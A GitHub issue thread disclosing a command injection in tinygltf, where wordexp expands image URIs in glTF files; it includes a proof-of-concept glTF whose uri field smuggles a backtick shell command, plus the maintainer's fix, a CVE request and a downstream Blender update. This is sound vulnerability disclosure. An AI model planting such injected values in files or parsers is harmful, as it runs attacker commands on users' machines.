Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Command injection via wordexp call. #368

Closed
oliverchang opened this issue Aug 16, 2022 · 6 comments
Closed

Command injection via wordexp call. #368

oliverchang opened this issue Aug 16, 2022 · 6 comments
Labels
enhancement

Comments

@oliverchang
Copy link

Describe the issue

This is a security vulnerability. The wordexp call here allows arbitrary code execution

tinygltf/tiny_gltf.h

Line 2640 in 0fa56e2

int ret = wordexp(quoted_path.c_str(), &p, 0);
when parsing a gltf file.

To Reproduce

  • OS: Linux
  • Compiler, compiler version, compile options: Clang 13.0.1-6
$ git clone https://github.com/syoyo/tinygltf
$ cd tinygltf && make all
$ echo '{"images":[{"uri":"a`echo iamhere > poc`"}], "asset":{"version":""}}' > payload.gltf
$ ./loader_example payload.gltf
$ cat poc
iamhere

Expected behaviour
The echo iamhere > poc command should not be executed and the poc file is not created in the CWD.

Additional context
This was found by OSS-Fuzz: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49053

One potential fix here is to pass WRDE_NOCMD to wordexp per https://man7.org/linux/man-pages/man3/wordexp.3.html
@syoyo
Copy link
Owner

syoyo commented Aug 16, 2022

@oliverchang Thanks! In ExpandFilePath

tinygltf/tiny_gltf.h

Line 1266 in 0fa56e2

std::string ExpandFilePath(const std::string &filepath, void *userdata);
wordexp is used to expand file path(i.e, expand environment variable, expand tilde(~) when a file path contains such symbol).

But according to glTF spec https://registry.khronos.org/glTF/specs/2.0/glTF-2.0.html#uris , uri must be URI/IRI, so file(resource) path should not contain environment variables and tilde, so we need to use URI decoder/encoder instead of ExpandFilePath.

Related: #337

@syoyo
Copy link
Owner

syoyo commented Aug 16, 2022

Disabled file path expansion(so no wordexp anymore) in this commit: 52ff00a

TODO: Proper/strict decoding/encoding of URI asset path:

tinygltf/tiny_gltf.h

Line 2202 in 9117abb

// https://github.com/syoyo/tinygltf/issues/228

@syoyo syoyo closed this as completed Aug 16, 2022
@oliverchang
Copy link
Author

oliverchang commented Aug 16, 2022 •
edited
Loading

Thank you very much for the amazingly fast fix @syoyo !

Would it be possible to create a security advisory (and CVE) for this via https://github.com/syoyo/tinygltf/security/advisories so downstream users are notified? We (Google) can also help with this if you prefer.

@syoyo
Copy link
Owner

syoyo commented Aug 16, 2022

@oliverchang Oh, I didn't know Github has a Security page 😮 Will take a look it.

@DavidKorczynski DavidKorczynski mentioned this issue Aug 16, 2022
Merged
This was referenced Aug 16, 2022
Merged
Closed
@oliverchang
Copy link
Author

Hi @syoyo, have you had a chance to try generating an advisory for this issue? It's a crucial part of making sure users of this library are notified of vulnerabilities (and that they need to update).

@oliverchang
Copy link
Author

FYI we've requested CVE-2022-3008 for this vulnerability: https://nvd.nist.gov/vuln/detail/CVE-2022-3008

Piyuuussshhh pushed a commit to Piyuuussshhh/blender that referenced this issue Mar 10, 2023
@tokenrove
Extern: Update TinyGLTF to include fix for CVE-2022-3008
466eb42 
The use of wordexp(3) permits arbitrary code execution from manually-crafted
glTF files. See syoyo/tinygltf#368 for more details.
In practice this shouldn't be an issue for Blender since the GlTF data isn't
manually crafted but from the OpenXR runtime (a bit like a driver). But
updating the library to include the fix is not a big deal anyway.

Note that the warning that required the local modification is no longer present upstream since
  syoyo/tinygltf@0bfcb4f

Pull Request: https://projects.blender.org/blender/blender/pulls/105536
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
enhancement
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@syoyo @oliverchang